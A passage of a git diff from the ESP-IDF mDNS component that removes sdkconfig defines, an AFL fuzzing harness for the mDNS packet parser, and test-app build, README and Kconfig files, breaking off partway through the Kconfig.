CONFIG_FREERTOS_TIMER_TASK_STACK_DEPTH 2048 -#define CONFIG_FREERTOS_TIMER_QUEUE_LENGTH 10 -#define CONFIG_FREERTOS_QUEUE_REGISTRY_SIZE 0 -#define CONFIG_FREERTOS_TASK_FUNCTION_WRAPPER 1 -#define CONFIG_FREERTOS_CHECK_MUTEX_GIVEN_BY_OWNER 1 -#define CONFIG_FREERTOS_DEBUG_OCDAWARE 1 -#define CONFIG_HEAP_POISONING_DISABLED 1 -#define CONFIG_HEAP_TRACING_OFF 1 -#define CONFIG_LOG_DEFAULT_LEVEL_INFO 1 -#define CONFIG_LOG_DEFAULT_LEVEL 3 -#define CONFIG_LOG_MAXIMUM_LEVEL 3 -#define CONFIG_LOG_COLORS 1 -#define CONFIG_LOG_TIMESTAMP_SOURCE_RTOS 1 -#define CONFIG_LWIP_LOCAL_HOSTNAME "espressif" -#define CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES 1 -#define CONFIG_LWIP_TIMERS_ONDEMAND 1 -#define CONFIG_LWIP_MAX_SOCKETS 10 -#define CONFIG_LWIP_SO_REUSE 1 -#define CONFIG_LWIP_SO_REUSE_RXTOALL 1 -#define CONFIG_LWIP_IP_FRAG 1 -#define CONFIG_LWIP_ESP_GRATUITOUS_ARP 1 -#define CONFIG_LWIP_GARP_TMR_INTERVAL 60 -#define CONFIG_LWIP_TCPIP_RECVMBOX_SIZE 32 -#define CONFIG_LWIP_DHCP_DOES_ARP_CHECK 1 -#define CONFIG_LWIP_DHCPS_LEASE_UNIT 60 -#define CONFIG_LWIP_DHCPS_MAX_STATION_NUM 8 -#define CONFIG_LWIP_NETIF_LOOPBACK 1 -#define CONFIG_LWIP_LOOPBACK_MAX_PBUFS 8 -#define CONFIG_LWIP_MAX_ACTIVE_TCP 16 -#define CONFIG_LWIP_MAX_LISTENING_TCP 16 -#define CONFIG_LWIP_TCP_MAXRTX 12 -#define CONFIG_LWIP_TCP_SYNMAXRTX 6 -#define CONFIG_LWIP_TCP_MSS 1440 -#define CONFIG_LWIP_TCP_TMR_INTERVAL 250 -#define CONFIG_LWIP_TCP_MSL 60000 -#define CONFIG_LWIP_TCP_SND_BUF_DEFAULT 5744 -#define CONFIG_LWIP_TCP_WND_DEFAULT 5744 -#define CONFIG_LWIP_TCP_RECVMBOX_SIZE 6 -#define CONFIG_LWIP_TCP_QUEUE_OOSEQ 1 -#define CONFIG_LWIP_TCP_OVERSIZE_MSS 1 -#define CONFIG_LWIP_MAX_UDP_PCBS 16 -#define CONFIG_LWIP_UDP_RECVMBOX_SIZE 6 -#define CONFIG_LWIP_TCPIP_TASK_STACK_SIZE 3072 -#define CONFIG_LWIP_TCPIP_TASK_AFFINITY_NO_AFFINITY 1 -#define CONFIG_LWIP_TCPIP_TASK_AFFINITY 0x7FFFFFFF -#define CONFIG_LWIP_MAX_RAW_PCBS 16 -#define CONFIG_LWIP_DHCP_MAX_NTP_SERVERS 1 -#define CONFIG_LWIP_SNTP_UPDATE_DELAY 3600000 -#define CONFIG_LWIP_ESP_LWIP_ASSERT 1 -#define CONFIG_MBEDTLS_INTERNAL_MEM_ALLOC 1 -#define CONFIG_MBEDTLS_ASYMMETRIC_CONTENT_LEN 1 -#define CONFIG_MBEDTLS_SSL_IN_CONTENT_LEN 16384 -#define CONFIG_MBEDTLS_SSL_OUT_CONTENT_LEN 4096 -#define CONFIG_MBEDTLS_CERTIFICATE_BUNDLE 1 -#define CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_FULL 1 -#define CONFIG_MBEDTLS_HARDWARE_AES 1 -#define CONFIG_MBEDTLS_HARDWARE_MPI 1 -#define CONFIG_MBEDTLS_HARDWARE_SHA 1 -#define CONFIG_MBEDTLS_HAVE_TIME 1 -#define CONFIG_MBEDTLS_ECDSA_DETERMINISTIC 1 -#define CONFIG_MBEDTLS_SHA512_C 1 -#define CONFIG_MBEDTLS_TLS_SERVER_AND_CLIENT 1 -#define CONFIG_MBEDTLS_TLS_SERVER 1 -#define CONFIG_MBEDTLS_TLS_CLIENT 1 -#define CONFIG_MBEDTLS_TLS_ENABLED 1 -#define CONFIG_MBEDTLS_KEY_EXCHANGE_RSA 1 -#define CONFIG_MBEDTLS_KEY_EXCHANGE_DHE_RSA 1 -#define CONFIG_MBEDTLS_KEY_EXCHANGE_ELLIPTIC_CURVE 1 -#define CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_RSA 1 -#define CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA 1 -#define CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA 1 -#define CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_RSA 1 -#define CONFIG_MBEDTLS_SSL_RENEGOTIATION 1 -#define CONFIG_MBEDTLS_SSL_PROTO_TLS1 1 -#define CONFIG_MBEDTLS_SSL_PROTO_TLS1_1 1 -#define CONFIG_MBEDTLS_SSL_PROTO_TLS1_2 1 -#define CONFIG_MBEDTLS_SSL_ALPN 1 -#define CONFIG_MBEDTLS_CLIENT_SSL_SESSION_TICKETS 1 -#define CONFIG_MBEDTLS_SERVER_SSL_SESSION_TICKETS 1 -#define CONFIG_MBEDTLS_AES_C 1 -#define CONFIG_MBEDTLS_RC4_DISABLED 1 -#define CONFIG_MBEDTLS_CCM_C 1 -#define CONFIG_MBEDTLS_GCM_C 1 -#define CONFIG_MBEDTLS_PEM_PARSE_C 1 -#define CONFIG_MBEDTLS_PEM_WRITE_C 1 -#define CONFIG_MBEDTLS_X509_CRL_PARSE_C 1 -#define CONFIG_MBEDTLS_X509_CSR_PARSE_C 1 -#define CONFIG_MBEDTLS_ECP_C 1 -#define CONFIG_MBEDTLS_ECDH_C 1 -#define CONFIG_MBEDTLS_ECDSA_C 1 -#define CONFIG_MBEDTLS_ECP_DP_SECP192R1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_SECP224R1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_SECP256R1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_SECP384R1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_SECP521R1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_SECP192K1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_SECP224K1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_SECP256K1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_BP256R1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_BP384R1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_BP512R1_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_DP_CURVE25519_ENABLED 1 -#define CONFIG_MBEDTLS_ECP_NIST_OPTIM 1 -#define CONFIG_MDNS_MAX_SERVICES 25 -#define CONFIG_MDNS_MAX_INTERFACES 3 -#define CONFIG_MDNS_TASK_PRIORITY 1 -#define CONFIG_MDNS_ACTION_QUEUE_LEN 16 -#define CONFIG_MDNS_TASK_STACK_SIZE 4096 -#define CONFIG_MDNS_TASK_AFFINITY_CPU0 1 -#define CONFIG_MDNS_TASK_AFFINITY 0x0 -#define CONFIG_MDNS_SERVICE_ADD_TIMEOUT_MS 1 -#define CONFIG_MDNS_TIMER_PERIOD_MS 100 -#define CONFIG_MQTT_PROTOCOL_311 1 -#define CONFIG_MQTT_TRANSPORT_SSL 1 -#define CONFIG_MQTT_TRANSPORT_WEBSOCKET 1 -#define CONFIG_MQTT_TRANSPORT_WEBSOCKET_SECURE 1 -#define CONFIG_NEWLIB_STDOUT_LINE_ENDING_CRLF 1 -#define CONFIG_NEWLIB_STDIN_LINE_ENDING_CR 1 -#define CONFIG_OPENSSL_ASSERT_EXIT 1 -#define CONFIG_PTHREAD_TASK_PRIO_DEFAULT 5 -#define CONFIG_PTHREAD_TASK_STACK_SIZE_DEFAULT 3072 -#define CONFIG_PTHREAD_STACK_MIN 768 -#define CONFIG_PTHREAD_DEFAULT_CORE_NO_AFFINITY 1 -#define CONFIG_PTHREAD_TASK_CORE_DEFAULT -1 -#define CONFIG_PTHREAD_TASK_NAME_DEFAULT "pthread" -#define CONFIG_SPI_FLASH_ROM_DRIVER_PATCH 1 -#define CONFIG_SPI_FLASH_DANGEROUS_WRITE_ABORTS 1 -#define CONFIG_SPI_FLASH_YIELD_DURING_ERASE 1 -#define CONFIG_SPI_FLASH_ERASE_YIELD_DURATION_MS 20 -#define CONFIG_SPI_FLASH_ERASE_YIELD_TICKS 1 -#define CONFIG_SPI_FLASH_SUPPORT_ISSI_CHIP 1 -#define CONFIG_SPI_FLASH_SUPPORT_MXIC_CHIP 1 -#define CONFIG_SPI_FLASH_SUPPORT_GD_CHIP 1 -#define CONFIG_SPIFFS_MAX_PARTITIONS 3 -#define CONFIG_SPIFFS_CACHE 1 -#define CONFIG_SPIFFS_CACHE_WR 1 -#define CONFIG_SPIFFS_PAGE_CHECK 1 -#define CONFIG_SPIFFS_GC_MAX_RUNS 10 -#define CONFIG_SPIFFS_PAGE_SIZE 256 -#define CONFIG_SPIFFS_OBJ_NAME_LEN 32 -#define CONFIG_SPIFFS_USE_MAGIC 1 -#define CONFIG_SPIFFS_USE_MAGIC_LENGTH 1 -#define CONFIG_SPIFFS_META_LENGTH 4 -#define CONFIG_SPIFFS_USE_MTIME 1 -#define CONFIG_USB_DESC_CUSTOM_VID 0x1234 -#define CONFIG_USB_DESC_CUSTOM_PID 0x5678 -#define CONFIG_UNITY_ENABLE_FLOAT 1 -#define CONFIG_UNITY_ENABLE_DOUBLE 1 -#define CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER 1 -#define CONFIG_VFS_SUPPORT_IO 1 -#define CONFIG_VFS_SUPPORT_DIR 1 -#define CONFIG_VFS_SUPPORT_SELECT 1 -#define CONFIG_VFS_SUPPRESS_SELECT_DEBUG_OUTPUT 1 -#define CONFIG_VFS_SUPPORT_TERMIOS 1 -#define CONFIG_VFS_SEMIHOSTFS_MAX_MOUNT_POINTS 1 -#define CONFIG_VFS_SEMIHOSTFS_HOST_PATH_MAX_LEN 128 -#define CONFIG_WL_SECTOR_SIZE_4096 1 -#define CONFIG_WL_SECTOR_SIZE 4096 -#define CONFIG_WIFI_PROV_SCAN_MAX_ENTRIES 16 -#define CONFIG_WIFI_PROV_AUTOSTOP_TIMEOUT 30 -#define CONFIG_WPA_MBEDTLS_CRYPTO 1 - -/* List of deprecated options */ -#define CONFIG_ADC2_DISABLE_DAC CONFIG_ADC_DISABLE_DAC -#define CONFIG_BROWNOUT_DET CONFIG_ESP_BROWNOUT_DET -#define CONFIG_BROWNOUT_DET_LVL_SEL_0 CONFIG_ESP_BROWNOUT_DET_LVL_SEL_0 -#define CONFIG_COMPILER_OPTIMIZATION_LEVEL_DEBUG CONFIG_COMPILER_OPTIMIZATION_DEFAULT -#define CONFIG_CONSOLE_UART_BAUDRATE CONFIG_ESP_CONSOLE_UART_BAUDRATE -#define CONFIG_CONSOLE_UART_DEFAULT CONFIG_ESP_CONSOLE_UART_DEFAULT -#define CONFIG_CONSOLE_UART_RX_GPIO CONFIG_ESP_CONSOLE_UART_RX_GPIO -#define CONFIG_CONSOLE_UART_TX_GPIO CONFIG_ESP_CONSOLE_UART_TX_GPIO -#define CONFIG_ESP32S2_PANIC_PRINT_REBOOT CONFIG_ESP_SYSTEM_PANIC_PRINT_REBOOT -#define CONFIG_ESP32_APPTRACE_DEST_NONE CONFIG_APPTRACE_DEST_NONE -#define CONFIG_ESP32_DEFAULT_PTHREAD_CORE_NO_AFFINITY CONFIG_PTHREAD_DEFAULT_CORE_NO_AFFINITY -#define CONFIG_ESP32_PANIC_PRINT_REBOOT CONFIG_ESP_SYSTEM_PANIC_PRINT_REBOOT -#define CONFIG_ESP32_PTHREAD_STACK_MIN CONFIG_PTHREAD_STACK_MIN -#define CONFIG_ESP32_PTHREAD_TASK_NAME_DEFAULT CONFIG_PTHREAD_TASK_NAME_DEFAULT -#define CONFIG_ESP32_PTHREAD_TASK_PRIO_DEFAULT CONFIG_PTHREAD_TASK_PRIO_DEFAULT -#define CONFIG_ESP32_PTHREAD_TASK_STACK_SIZE_DEFAULT CONFIG_PTHREAD_TASK_STACK_SIZE_DEFAULT -#define CONFIG_ESP_GRATUITOUS_ARP CONFIG_LWIP_ESP_GRATUITOUS_ARP -#define CONFIG_FLASHMODE_DIO CONFIG_ESPTOOLPY_FLASHMODE_DIO -#define CONFIG_FOUR_UNIVERSAL_MAC_ADDRESS CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_FOUR -#define CONFIG_GARP_TMR_INTERVAL CONFIG_LWIP_GARP_TMR_INTERVAL -#define CONFIG_INT_WDT CONFIG_ESP_INT_WDT -#define CONFIG_INT_WDT_CHECK_CPU1 CONFIG_ESP_INT_WDT_CHECK_CPU1 -#define CONFIG_INT_WDT_TIMEOUT_MS CONFIG_ESP_INT_WDT_TIMEOUT_MS -#define CONFIG_IPC_TASK_STACK_SIZE CONFIG_ESP_IPC_TASK_STACK_SIZE -#define CONFIG_LOG_BOOTLOADER_LEVEL_INFO CONFIG_BOOTLOADER_LOG_LEVEL_INFO -#define CONFIG_MAIN_TASK_STACK_SIZE CONFIG_ESP_MAIN_TASK_STACK_SIZE -#define CONFIG_MB_CONTROLLER_NOTIFY_QUEUE_SIZE CONFIG_FMB_CONTROLLER_NOTIFY_QUEUE_SIZE -#define CONFIG_MB_CONTROLLER_NOTIFY_TIMEOUT CONFIG_FMB_CONTROLLER_NOTIFY_TIMEOUT -#define CONFIG_MB_CONTROLLER_STACK_SIZE CONFIG_FMB_CONTROLLER_STACK_SIZE -#define CONFIG_MB_EVENT_QUEUE_TIMEOUT CONFIG_FMB_EVENT_QUEUE_TIMEOUT -#define CONFIG_MB_MASTER_DELAY_MS_CONVERT CONFIG_FMB_MASTER_DELAY_MS_CONVERT -#define CONFIG_MB_MASTER_TIMEOUT_MS_RESPOND CONFIG_FMB_MASTER_TIMEOUT_MS_RESPOND -#define CONFIG_MB_QUEUE_LENGTH CONFIG_FMB_QUEUE_LENGTH -#define CONFIG_MB_SERIAL_BUF_SIZE CONFIG_FMB_SERIAL_BUF_SIZE -#define CONFIG_MB_SERIAL_TASK_PRIO CONFIG_FMB_SERIAL_TASK_PRIO -#define CONFIG_MB_SERIAL_TASK_STACK_SIZE CONFIG_FMB_SERIAL_TASK_STACK_SIZE -#define CONFIG_MB_TIMER_GROUP CONFIG_FMB_TIMER_GROUP -#define CONFIG_MB_TIMER_INDEX CONFIG_FMB_TIMER_INDEX -#define CONFIG_MB_TIMER_PORT_ENABLED CONFIG_FMB_TIMER_PORT_ENABLED -#define CONFIG_OPTIMIZATION_ASSERTIONS_ENABLED CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE -#define CONFIG_OPTIMIZATION_LEVEL_DEBUG CONFIG_COMPILER_OPTIMIZATION_DEFAULT -#define CONFIG_POST_EVENTS_FROM_IRAM_ISR CONFIG_ESP_EVENT_POST_FROM_IRAM_ISR -#define CONFIG_POST_EVENTS_FROM_ISR CONFIG_ESP_EVENT_POST_FROM_ISR -#define CONFIG_REDUCE_PHY_TX_POWER CONFIG_ESP32_REDUCE_PHY_TX_POWER -#define CONFIG_SEMIHOSTFS_HOST_PATH_MAX_LEN CONFIG_VFS_SEMIHOSTFS_HOST_PATH_MAX_LEN -#define CONFIG_SEMIHOSTFS_MAX_MOUNT_POINTS CONFIG_VFS_SEMIHOSTFS_MAX_MOUNT_POINTS -#define CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ABORTS CONFIG_SPI_FLASH_DANGEROUS_WRITE_ABORTS -#define CONFIG_STACK_CHECK_NONE CONFIG_COMPILER_STACK_CHECK_MODE_NONE -#define CONFIG_SUPPORT_TERMIOS CONFIG_VFS_SUPPORT_TERMIOS -#define CONFIG_SUPPRESS_SELECT_DEBUG_OUTPUT CONFIG_VFS_SUPPRESS_SELECT_DEBUG_OUTPUT -#define CONFIG_SYSTEM_EVENT_QUEUE_SIZE CONFIG_ESP_SYSTEM_EVENT_QUEUE_SIZE -#define CONFIG_SYSTEM_EVENT_TASK_STACK_SIZE CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE -#define CONFIG_TASK_WDT CONFIG_ESP_TASK_WDT -#define CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU0 CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU0 -#define CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU1 CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU1 -#define CONFIG_TASK_WDT_TIMEOUT_S CONFIG_ESP_TASK_WDT_TIMEOUT_S -#define CONFIG_TCPIP_RECVMBOX_SIZE CONFIG_LWIP_TCPIP_RECVMBOX_SIZE -#define CONFIG_TCPIP_TASK_AFFINITY_NO_AFFINITY CONFIG_LWIP_TCPIP_TASK_AFFINITY_NO_AFFINITY -#define CONFIG_TCPIP_TASK_STACK_SIZE CONFIG_LWIP_TCPIP_TASK_STACK_SIZE -#define CONFIG_TCP_MAXRTX CONFIG_LWIP_TCP_MAXRTX -#define CONFIG_TCP_MSL CONFIG_LWIP_TCP_MSL -#define CONFIG_TCP_MSS CONFIG_LWIP_TCP_MSS -#define CONFIG_TCP_OVERSIZE_MSS CONFIG_LWIP_TCP_OVERSIZE_MSS -#define CONFIG_TCP_QUEUE_OOSEQ CONFIG_LWIP_TCP_QUEUE_OOSEQ -#define CONFIG_TCP_RECVMBOX_SIZE CONFIG_LWIP_TCP_RECVMBOX_SIZE -#define CONFIG_TCP_SND_BUF_DEFAULT CONFIG_LWIP_TCP_SND_BUF_DEFAULT -#define CONFIG_TCP_SYNMAXRTX CONFIG_LWIP_TCP_SYNMAXRTX -#define CONFIG_TCP_WND_DEFAULT CONFIG_LWIP_TCP_WND_DEFAULT -#define CONFIG_TIMER_QUEUE_LENGTH CONFIG_FREERTOS_TIMER_QUEUE_LENGTH -#define CONFIG_TIMER_TASK_PRIORITY CONFIG_FREERTOS_TIMER_TASK_PRIORITY -#define CONFIG_TIMER_TASK_STACK_DEPTH CONFIG_FREERTOS_TIMER_TASK_STACK_DEPTH -#define CONFIG_TIMER_TASK_STACK_SIZE CONFIG_ESP_TIMER_TASK_STACK_SIZE -#define CONFIG_TOOLPREFIX CONFIG_SDK_TOOLPREFIX -#define CONFIG_UDP_RECVMBOX_SIZE CONFIG_LWIP_UDP_RECVMBOX_SIZE diff --git a/components/mdns/tests/test_afl_fuzz_host/test.c b/components/mdns/tests/test_afl_fuzz_host/test.c deleted file mode 100644 index 5556c563..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/test.c +++ /dev/null @@ -1,276 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2015-2022 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#include -#include -#include -#include -#include - -#include "esp32_mock.h" -#include "mdns.h" -#include "mdns_private.h" - -// -// Global stuctures containing packet payload, search -mdns_rx_packet_t g_packet; -struct pbuf mypbuf; -mdns_search_once_t *search = NULL; - -// -// Dependency injected test functions -void mdns_test_execute_action(void *action); -mdns_srv_item_t *mdns_test_mdns_get_service_item(const char *service, const char *proto); -mdns_search_once_t *mdns_test_search_init(const char *name, const char *service, const char *proto, uint16_t type, uint32_t timeout, uint8_t max_results); -esp_err_t mdns_test_send_search_action(mdns_action_type_t type, mdns_search_once_t *search); -void mdns_test_search_free(mdns_search_once_t *search); -void mdns_test_init_di(void); -extern mdns_server_t *_mdns_server; - -// -// mdns function wrappers for mdns setup in test mode -static int mdns_test_hostname_set(const char *mdns_hostname) -{ - for (int i = 0; i < MDNS_MAX_INTERFACES; i++) { - _mdns_server->interfaces[i].pcbs[MDNS_IP_PROTOCOL_V4].state = PCB_RUNNING; // mark the PCB running to exercise mdns in fully operational mode - _mdns_server->interfaces[i].pcbs[MDNS_IP_PROTOCOL_V6].state = PCB_RUNNING; - } - int ret = mdns_hostname_set(mdns_hostname); - mdns_action_t *a = NULL; - GetLastItem(&a); - mdns_test_execute_action(a); - return ret; -} - -static int mdns_test_add_delegated_host(const char *mdns_hostname) -{ - mdns_ip_addr_t addr = { .addr = { .u_addr = ESP_IPADDR_TYPE_V4 } }; - addr.addr.u_addr.ip4.addr = 0x11111111; - int ret = mdns_delegate_hostname_add(mdns_hostname, &addr); - mdns_action_t *a = NULL; - GetLastItem(&a); - mdns_test_execute_action(a); - return ret; -} - - -static int mdns_test_service_instance_name_set(const char *service, const char *proto, const char *instance) -{ - int ret = mdns_service_instance_name_set(service, proto, instance); - mdns_action_t *a = NULL; - GetLastItem(&a); - mdns_test_execute_action(a); - return ret; -} - -static int mdns_test_service_txt_set(const char *service, const char *proto, uint8_t num_items, mdns_txt_item_t txt[]) -{ - int ret = mdns_service_txt_set(service, proto, txt, num_items); - mdns_action_t *a = NULL; - GetLastItem(&a); - mdns_test_execute_action(a); - return ret; -} - -static int mdns_test_sub_service_add(const char *sub_name, const char *service_name, const char *proto, uint32_t port) -{ - if (mdns_service_add(NULL, service_name, proto, port, NULL, 0)) { - // This is expected failure as the service thread is not running - } - mdns_action_t *a = NULL; - GetLastItem(&a); - mdns_test_execute_action(a); - - if (mdns_test_mdns_get_service_item(service_name, proto) == NULL) { - return ESP_FAIL; - } - int ret = mdns_service_subtype_add_for_host(NULL, service_name, proto, NULL, sub_name); - a = NULL; - GetLastItem(&a); - mdns_test_execute_action(a); - return ret; -} - -static int mdns_test_service_add(const char *service_name, const char *proto, uint32_t port) -{ - if (mdns_service_add(NULL, service_name, proto, port, NULL, 0)) { - // This is expected failure as the service thread is not running - } - mdns_action_t *a = NULL; - GetLastItem(&a); - mdns_test_execute_action(a); - - if (mdns_test_mdns_get_service_item(service_name, proto) == NULL) { - return ESP_FAIL; - } - return ESP_OK; -} - -static mdns_result_t *mdns_test_query(const char *name, const char *service, const char *proto, uint16_t type) -{ - search = mdns_test_search_init(name, service, proto, type, 3000, 20); - if (!search) { - abort(); - } - - if (mdns_test_send_search_action(ACTION_SEARCH_ADD, search)) { - mdns_test_search_free(search); - abort(); - } - - mdns_action_t *a = NULL; - GetLastItem(&a); - mdns_test_execute_action(a); - return NULL; -} - -static void mdns_test_query_free(void) -{ - mdns_test_search_free(search); -} - -// -// function "under test" where afl-mangled packets passed -// -void mdns_parse_packet(mdns_rx_packet_t *packet); - -// -// Test starts here -// -int main(int argc, char **argv) -{ - int i; - const char *mdns_hostname = "minifritz"; - const char *mdns_instance = "Hristo's Time Capsule"; - mdns_txt_item_t arduTxtData[4] = { - {"board", "esp32"}, - {"tcp_check", "no"}, - {"ssh_upload", "no"}, - {"auth_upload", "no"} - }; - - const uint8_t mac[6] = {0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x32}; - - uint8_t buf[1460]; - char winstance[21 + strlen(mdns_hostname)]; - - sprintf(winstance, "%s [%02x:%02x:%02x:%02x:%02x:%02x]", mdns_hostname, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); - - // Init depencency injected methods - mdns_test_init_di(); - - if (mdns_init()) { - abort(); - } - - if (mdns_test_hostname_set(mdns_hostname)) { - abort(); - } - - if (mdns_test_add_delegated_host(mdns_hostname) || mdns_test_add_delegated_host("megafritz")) { - abort(); - } - -#ifndef MDNS_NO_SERVICES - - if (mdns_test_sub_service_add("_server", "_fritz", "_tcp", 22)) { - abort(); - } - - if (mdns_test_service_add("_telnet", "_tcp", 22)) { - abort(); - } - - if (mdns_test_service_add("_workstation", "_tcp", 9)) { - abort(); - } - if (mdns_test_service_instance_name_set("_workstation", "_tcp", winstance)) { - abort(); - } - - if (mdns_test_service_add("_arduino", "_tcp", 3232)) { - abort(); - } - - if (mdns_test_service_txt_set("_arduino", "_tcp", 4, arduTxtData)) { - abort(); - } - - if (mdns_test_service_add("_http", "_tcp", 80)) { - abort(); - } - - if (mdns_test_service_instance_name_set("_http", "_tcp", "ESP WebServer")) { - abort(); - } - - if ( - mdns_test_service_add("_afpovertcp", "_tcp", 548) - || mdns_test_service_add("_rfb", "_tcp", 885) - || mdns_test_service_add("_smb", "_tcp", 885) - || mdns_test_service_add("_adisk", "_tcp", 885) - || mdns_test_service_add("_airport", "_tcp", 885) - || mdns_test_service_add("_printer", "_tcp", 885) - || mdns_test_service_add("_airplay", "_tcp", 885) - || mdns_test_service_add("_raop", "_tcp", 885) - || mdns_test_service_add("_uscan", "_tcp", 885) - || mdns_test_service_add("_uscans", "_tcp", 885) - || mdns_test_service_add("_ippusb", "_tcp", 885) - || mdns_test_service_add("_scanner", "_tcp", 885) - || mdns_test_service_add("_ipp", "_tcp", 885) - || mdns_test_service_add("_ipps", "_tcp", 885) - || mdns_test_service_add("_pdl-datastream", "_tcp", 885) - || mdns_test_service_add("_ptp", "_tcp", 885) - || mdns_test_service_add("_sleep-proxy", "_udp", 885)) { - abort(); - } -#endif - mdns_result_t *results = NULL; - FILE *file; - size_t nread; - -#ifdef INSTR_IS_OFF - size_t len = 1460; - memset(buf, 0, 1460); - - if (argc != 2) { - printf("Non-instrumentation mode: please supply a file name created by AFL to reproduce crash\n"); - return 1; - } else { - // - // Note: parameter1 is a file (mangled packet) which caused the crash - file = fopen(argv[1], "r"); - assert(file >= 0 ); - len = fread(buf, 1, 1460, file); - fclose(file); - } - - for (i = 0; i < 1; i++) { -#else - while (__AFL_LOOP(1000)) { - memset(buf, 0, 1460); - size_t len = read(0, buf, 1460); -#endif - mypbuf.payload = malloc(len); - memcpy(mypbuf.payload, buf, len); - mypbuf.len = len; - g_packet.pb = &mypbuf; - mdns_test_query("minifritz", "_fritz", "_tcp", MDNS_TYPE_ANY); - mdns_test_query(NULL, "_fritz", "_tcp", MDNS_TYPE_PTR); - mdns_test_query(NULL, "_afpovertcp", "_tcp", MDNS_TYPE_PTR); - mdns_parse_packet(&g_packet); - free(mypbuf.payload); - } -#ifndef MDNS_NO_SERVICES - mdns_service_remove_all(); - mdns_action_t *a = NULL; - GetLastItem(&a); - mdns_test_execute_action(a); -#endif - ForceTaskDelete(); - mdns_free(); - return 0; -} diff --git a/components/mdns/tests/test_apps/CMakeLists.txt b/components/mdns/tests/test_apps/CMakeLists.txt deleted file mode 100644 index 62d1565f..00000000 --- a/components/mdns/tests/test_apps/CMakeLists.txt +++ /dev/null @@ -1,7 +0,0 @@ -# The following four lines of boilerplate have to be in your project's CMakeLists -# in this exact order for cmake to work correctly -cmake_minimum_required(VERSION 3.5) - -include($ENV{IDF_PATH}/tools/cmake/project.cmake) - -project(mdns_test_app) diff --git a/components/mdns/tests/test_apps/README.md b/components/mdns/tests/test_apps/README.md deleted file mode 100644 index 96b76dcb..00000000 --- a/components/mdns/tests/test_apps/README.md +++ /dev/null @@ -1,49 +0,0 @@ -| Supported Targets | ESP32 | ESP32-S2 | ESP32-C3 | -| ----------------- | ----- | -------- | -------- | - -# mDNS test project - -Main purpose of this application is to test the mDNS library to correctly advertise, lookup services and hosts. -The "app_test.py" logically separated from two sets of test cases 1. "ESP32 board sends queries -> Host sends answers" and 2. "Host sends queries" -> "ESP32 board sends answers". -Two first sets of test cases are starting by 'test_query_' and the second ones by 'start_case'. - -## Runtime settings - -1. For first sets of test cases python creates and sends dns queries using "dpkt" library -2. For the second sets of test cases this app waits for user input to provide test case(e.g. CONFIG_TEST_QUERY_HOST, CONFIG_TEST_QUERY_HOST_ASYNC or CONFIG_TEST_QUERY_SERVICE) -In order to run both of them just needed to set up the project and run by 'python app_test.py' - -## Test app workflow - -- mDNS is initialized with hostname and instance name defined through the project configuration and `_http._tcp` service is added to be advertised -- A delegated host `esp32-delegated._local` is added and another `_http._tcp` service is added for this host. -- WiFi STA is started and tries to connect to the access point defined through the project configuration - -### Configure the project - -* Open the project configuration menu (`idf.py menuconfig`) - -* Configure Wi-Fi or Ethernet under "Example Connection Configuration" menu. - -* Set `mDNS Hostname` as host name prefix for the device and its instance name in `mDNS Instance Name` - -### Build and Flash - -Build the project and flash it to the board, then run the monitor tool to view the serial output: - -``` -idf.py -p PORT flash monitor -``` - -- Wait for WiFi to connect to your access point -- You can now ping the device at `[board-hostname].local`, where `[board-hostname]` is preconfigured hostname, `esp32-mdns` by default. -- You can also browse for `_http._tcp` on the same network to find the advertised service -- Note that for purpose of CI tests, configuration options of `MDNS_RESOLVE_TEST_SERVICES` and `MDNS_ADD_MAC_TO_HOSTNAME` are available, but disabled by default. If enabled, then the hostname suffix of last 3 bytes from device MAC address is added, e.g. `esp32-mdns-80FFFF`, and a query for test service is issued. - - -(To exit the serial monitor, type ``Ctrl-]``.) - -See the Getting Started Guide for full steps to configure and use ESP-IDF to build projects. - -## Hardware Required -This test-app can be executed on any ESP32 board, the only required interface is WiFi and connection to a local network and tls server. diff --git a/components/mdns/tests/test_apps/main/CMakeLists.txt b/components/mdns/tests/test_apps/main/CMakeLists.txt deleted file mode 100644 index b5902d58..00000000 --- a/components/mdns/tests/test_apps/main/CMakeLists.txt +++ /dev/null @@ -1,2 +0,0 @@ -idf_component_register(SRCS "main.c" "mdns_test.c" - INCLUDE_DIRS ".") diff --git a/components/mdns/tests/test_apps/main/Kconfig.projbuild b/components/mdns/tests/test_apps/main/Kconfig.projbuild deleted file mode 100644 index a1c0d729..00000000 --- a/components/mdns/tests/test_apps/main/Kconfig.projbuild +++ /dev/null @@ -1,40 +0,0 @@ -menu "Example Configuration" - - config TEST_MDNS_HOSTNAME - string "mDNS Hostname" - default "esp32-mdns" - help - mDNS Hostname for example to use - - config TEST_MDNS_INSTANCE - string "mDNS Instance Name" - default "ESP32 with mDNS" - help - mDNS Instance Name for example to use - - config TEST_MDNS_PUBLISH_DELEGATE_HOST - bool "Publish a delegated host" - help - 